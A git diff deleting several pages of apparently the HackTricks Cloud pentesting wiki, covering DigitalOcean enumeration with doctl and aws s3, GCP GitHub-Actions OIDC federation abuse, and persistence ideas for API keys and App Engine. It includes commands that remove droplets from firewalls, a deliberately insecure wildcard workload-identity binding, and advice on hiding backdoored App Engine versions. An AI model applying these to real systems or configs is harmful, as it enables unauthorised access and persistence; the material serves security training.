-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/digital-ocean-pentesting/do-services/do-networking.md b/pentesting-cloud/digital-ocean-pentesting/do-services/do-networking.md
deleted file mode 100644
index 29cf44eb1..000000000
--- a/pentesting-cloud/digital-ocean-pentesting/do-services/do-networking.md
+++ /dev/null
@@ -1,72 +0,0 @@
-# DO - Networking
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-### Domains
-
-```bash
-doctl compute domain list
-doctl compute domain records list <domain>
-# You can also create records
-```
-
-### Reserverd IPs
-
-```bash
-doctl compute reserved-ip list
-doctl compute reserved-ip-action unassign <ip>
-```
-
-### Load Balancers
-
-```bash
-doctl compute load-balancer list
-doctl compute load-balancer remove-droplets <id> --droplet-ids 12,33
-doctl compute load-balancer add-forwarding-rules <id> --forwarding-rules entry_protocol:tcp,entry_port:3306,...
-```
-
-### VPC
-
-```
-doctl vpcs list
-```
-
-### Firewall
-
-{% hint style="danger" %}
-By default **droplets are created WITHOUT A FIREWALL** (not like in oder clouds such as AWS or GCP). So if you want DO to protect the ports of the droplet (VM), you need to **create it and attach it**.
-{% endhint %}
-
-```bash
-doctl compute firewall list
-doctl compute firewall list-by-droplet <droplet-id>
-doctl compute firewall remove-droplets <fw-id> --droplet-ids <droplet-id>
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/digital-ocean-pentesting/do-services/do-projects.md b/pentesting-cloud/digital-ocean-pentesting/do-services/do-projects.md
deleted file mode 100644
index bc82b2449..000000000
--- a/pentesting-cloud/digital-ocean-pentesting/do-services/do-projects.md
+++ /dev/null
@@ -1,49 +0,0 @@
-# DO - Projects
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-> project is just a container for all the **services** (droplets, spaces, databases, kubernetes...) **running together inside of it**.\
-> For more info check:
-
-{% content-ref url="../do-basic-information.md" %}
-[do-basic-information.md](../do-basic-information.md)
-{% endcontent-ref %}
-
-### Enumeration
-
-It's possible to **enumerate all the projects a user have access to** and all the resources that are running inside a project very easily:
-
-```bash
-doctl projects list # Get projects
-doctl projects resources list <proj-id> # Get all the resources of a project
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/digital-ocean-pentesting/do-services/do-spaces.md b/pentesting-cloud/digital-ocean-pentesting/do-services/do-spaces.md
deleted file mode 100644
index a19a48b8f..000000000
--- a/pentesting-cloud/digital-ocean-pentesting/do-services/do-spaces.md
+++ /dev/null
@@ -1,72 +0,0 @@
-# DO - Spaces
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-DigitalOcean Spaces are **object storage services**. They allow users to **store and serve large amounts of data**, such as images and other files, in a scalable and cost-effective way. Spaces can be accessed via the DigitalOcean control panel, or using the DigitalOcean API, and are integrated with other DigitalOcean services such as Droplets (virtual private servers) and Load Balancers.
-
-### Access
-
-Spaces can be **public** (anyone can access them from the Internet) or **private** (only authorised users). To access the files from a private space outside of the Control Panel, we need to generate an **access key** and **secret**. These are a pair of random tokens that serve as a **username** and **password** to grant access to your Space.
-
-A **URL of a space** looks like this: **`https://uniqbucketname.fra1.digitaloceanspaces.com/`**\
-Note the **region** as **subdomain**.
-
-Even if the **space** is **public**, **files** **inside** of it can be **private** (you will be able to access them only with credentials).
-
-However, **even** if the file is **private**, from the console it's possible to share a file with a link such as `https://fra1.digitaloceanspaces.com/uniqbucketname/filename?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=DO00PL3RA373GBV4TRF7%2F20221213%2Ffra1%2Fs3%2Faws4_request&X-Amz-Date=20221213T121017Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=6a183dbc42453a8d30d7cd2068b66aeb9ebc066123629d44a8108115def975bc` for a period of time:
-
-<figure><img src="../../../.gitbook/assets/image (277).png" alt=""><figcaption></figcaption></figure>
-
-### Enumeration
-
-```bash
-# Unauthenticated
-## Note how the region is specified in the endpoint
-aws s3 ls --endpoint=https://fra1.digitaloceanspaces.com --no-sign-request s3://uniqbucketname
-
-# Authenticated
-## Configure spaces keys as AWS credentials
-aws configure
-AWS Access Key ID [None]: <spaces_key>
-AWS Secret Access Key [None]: <Secret>
-Default region name [None]:
-Default output format [None]:
-
-## List all buckets in a region
-aws s3 ls --endpoint=https://fra1.digitaloceanspaces.com
-
-## List files inside a bucket
-aws s3 ls --endpoint=https://fra1.digitaloceanspaces.com s3://uniqbucketname
-
-## It's also possible to generate authorized access to buckets from the API
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/digital-ocean-pentesting/do-services/do-volumes.md b/pentesting-cloud/digital-ocean-pentesting/do-services/do-volumes.md
deleted file mode 100644
index ce5d000ad..000000000
--- a/pentesting-cloud/digital-ocean-pentesting/do-services/do-volumes.md
+++ /dev/null
@@ -1,41 +0,0 @@
-# DO - Volumes
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-DigitalOcean volumes are **block storage** devices that can be **attached to and detached from Droplets**. Volumes are useful for **storing data** that needs to **persist** independently of the Droplet itself, such as databases or file storage. They can be resized, attached to multiple Droplets, and snapshot for backups.
-
-### Enumeration
-
-```
-compute volume list
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md b/pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
deleted file mode 100644
index 0f902f914..000000000
--- a/pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
+++ /dev/null
@@ -1,181 +0,0 @@
-# GCP - Federation Abuse
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## OIDC - Github Actions Abuse
-
-### GCP
-
-In order to give **access to the Github Actions** from a Github repo to a GCP **service account** the following steps are needed:
-
-* **Create the Service Account** to access from github actions with the **desired permissions:**
-
-```bash
-projectId=FIXME
-gcloud config set project $projectId
-
-# Create the Service Account
-gcloud iam service-accounts create "github-demo-sa"
-saId="github-demo-sa@${projectId}.iam.gserviceaccount.com"
-
-# Enable the IAM Credentials API
-gcloud services enable iamcredentials.googleapis.com
-
-# Give permissions to SA
-
-gcloud projects add-iam-policy-binding $projectId \
-    --member="serviceAccount:$saId" \
-    --role="roles/iam.securityReviewer"
-```
-
-* Generate a **new workload identity pool**:
-
-```bash
-# Create a Workload Identity Pool
-poolName=wi-pool
-
-gcloud iam workload-identity-pools create $poolName \
-  --location global \
-  --display-name $poolName
-
-poolId=$(gcloud iam workload-identity-pools describe $poolName \
-  --location global \
-  --format='get(name)')
-```
-
-* Generate a new **workload identity pool OIDC provider** that **trusts** github actions (by org/repo name in this scenario):
-
-```bash
-attributeMappingScope=repository # could be sub (GitHub repository and branch) or repository_owner (GitHub organization)
-
-gcloud iam workload-identity-pools providers create-oidc $poolName \
-  --location global \
-  --workload-identity-pool $poolName \
-  --display-name $poolName \
-  --attribute-mapping "google.subject=assertion.${attributeMappingScope},attribute.actor=assertion.actor,attribute.aud=assertion.aud,attribute.repository=assertion.repository" \
-  --issuer-uri "https://token.actions.githubusercontent.com"
-
-providerId=$(gcloud iam workload-identity-pools providers describe $poolName \
-  --location global \
-  --workload-identity-pool $poolName \
-  --format='get(name)')
-```
-
-* Finally, **allow the principal** from the provider to use a service principal:
-
-```bash
-gitHubRepoName="repo-org/repo-name"
-gcloud iam service-accounts add-iam-policy-binding $saId \
-  --role "roles/iam.workloadIdentityUser" \
-  --member "principalSet://iam.googleapis.com/${poolId}/attribute.${attributeMappingScope}/${gitHubRepoName}"
-```
-
-{% hint style="warning" %}
-Note how in the previous member we are specifying the **`org-name/repo-name`** as conditions to be able to access the service account (other params that makes it **more restrictive** like the branch could also be used).
-
-However it's also possible to **allow all github to access** the service account creating a provider such the following using a wildcard:
-{% endhint %}
-
-<pre class="language-bash"><code class="lang-bash"># Create a Workload Identity Pool
-poolName=wi-pool2
-
-gcloud iam workload-identity-pools create $poolName \
-  --location global \
-  --display-name $poolName
-
-poolId=$(gcloud iam workload-identity-pools describe $poolName \
-  --location global \
-  --format='get(name)')
-
-gcloud iam workload-identity-pools providers create-oidc $poolName \
-  --project="${projectId}" \
-  --location="global" \
-  --workload-identity-pool="$poolName" \
-  --display-name="Demo provider" \
-  --attribute-mapping="google.subject=assertion.sub,attribute.actor=assertion.actor,attribute.aud=assertion.aud" \
-  --issuer-uri="https://token.actions.githubusercontent.com"
-
-providerId=$(gcloud iam workload-identity-pools providers describe $poolName \
-  --location global \
-  --workload-identity-pool $poolName \
-  --format='get(name)')
-
-<strong># CHECK THE WILDCARD
-</strong>gcloud iam service-accounts add-iam-policy-binding "${saId}" \
-  --project="${projectId}" \
-  --role="roles/iam.workloadIdentityUser" \
-<strong>  --member="principalSet://iam.googleapis.com/${poolId}/*"
-</strong></code></pre>
-
-{% hint style="warning" %}
-In this case anyone could access the service account from github actions, so it's important always to **check how the member is defined**.\
-It should be always something like this:
-
-`attribute.{custom_attribute}`:`principalSet://iam.googleapis.com/projects/{project}/locations/{location}/workloadIdentityPools/{pool}/attribute.{custom_attribute}/{value}`
-{% endhint %}
-
-### Github
-
-Remember to change **`${providerId}`** and **`${saId}`** for their respective values:
-
-```yaml
-name: Check GCP action
-on:
-  workflow_dispatch:
-  pull_request:
-    branches:
-      - main
-
-permissions:
-  id-token: write
-
-jobs:
-  Get_OIDC_ID_token:
-    runs-on: ubuntu-latest
-    steps:
-    - id: 'auth'
-      name: 'Authenticate to GCP'
-      uses: 'google-github-actions/auth@v2.1.3'
-      with:
-          create_credentials_file: 'true'
-          workload_identity_provider: '${providerId}' # In the providerId, the numerical project ID (12 digit number) should be used 
-          service_account: '${saId}'                  # instead of the alphanumeric project ID. ex: 
-          activate_credentials_file: true             # projects/123123123123/locations/global/workloadIdentityPools/iam-lab-7-gh-pool/providers/iam-lab-7-gh-pool-oidc-provider' 
-    - id: 'gcloud'
-      name: 'gcloud'
-      run: |-
-        gcloud config set project <project-id>
-        gcloud config set account '${saId}'
-        gcloud auth login --brief --cred-file="${{ steps.auth.outputs.credentials_file_path }}"
-        gcloud auth list
-        gcloud projects list
-        gcloud secrets list
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-persistence/gcp-api-keys-persistence.md b/pentesting-cloud/gcp-security/gcp-persistence/gcp-api-keys-persistence.md
deleted file mode 100644
index d94452728..000000000
--- a/pentesting-cloud/gcp-security/gcp-persistence/gcp-api-keys-persistence.md
+++ /dev/null
@@ -1,47 +0,0 @@
-# GCP - API Keys Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## API Keys
-
-For more information about API Keys check:
-
-{% content-ref url="../gcp-services/gcp-api-keys-enum.md" %}
-[gcp-api-keys-enum.md](../gcp-services/gcp-api-keys-enum.md)
-{% endcontent-ref %}
-
-### Create new / Access existing ones
-
-Check how to do this in:
-
-{% content-ref url="../gcp-privilege-escalation/gcp-apikeys-privesc.md" %}
-[gcp-apikeys-privesc.md](../gcp-privilege-escalation/gcp-apikeys-privesc.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md b/pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md
deleted file mode 100644
index ef9829d83..000000000
--- a/pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md
+++ /dev/null
@@ -1,47 +0,0 @@
-# GCP - App Engine Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## App Engine
-
-For more information about App Engine check:
-
-{% content-ref url="../gcp-services/gcp-app-engine-enum.md" %}
-[gcp-app-engine-enum.md](../gcp-services/gcp-app-engine-enum.md)
-{% endcontent-ref %}
-
-### Modify code
-
-If yoi could just modify the code of a running version or create a new one yo could make it run your backdoor and mantain persistence.
-
-### Old version persistence
-
-**Every version of the web application is going to be run**, if you find that an App Engine project is running several versions, you could **create a new one** with your **backdoor** code, and then **create a new legit** one so the last one is the legit but there will be a **backdoored one also running**.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md b/pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md
deleted file mode 100644
index 234708928..000000000
--- a/pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md
+++ /dev/null
@@ -1,67 +0,0 @@
-# GCP - Artifact Registry Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Artifact Registry
-
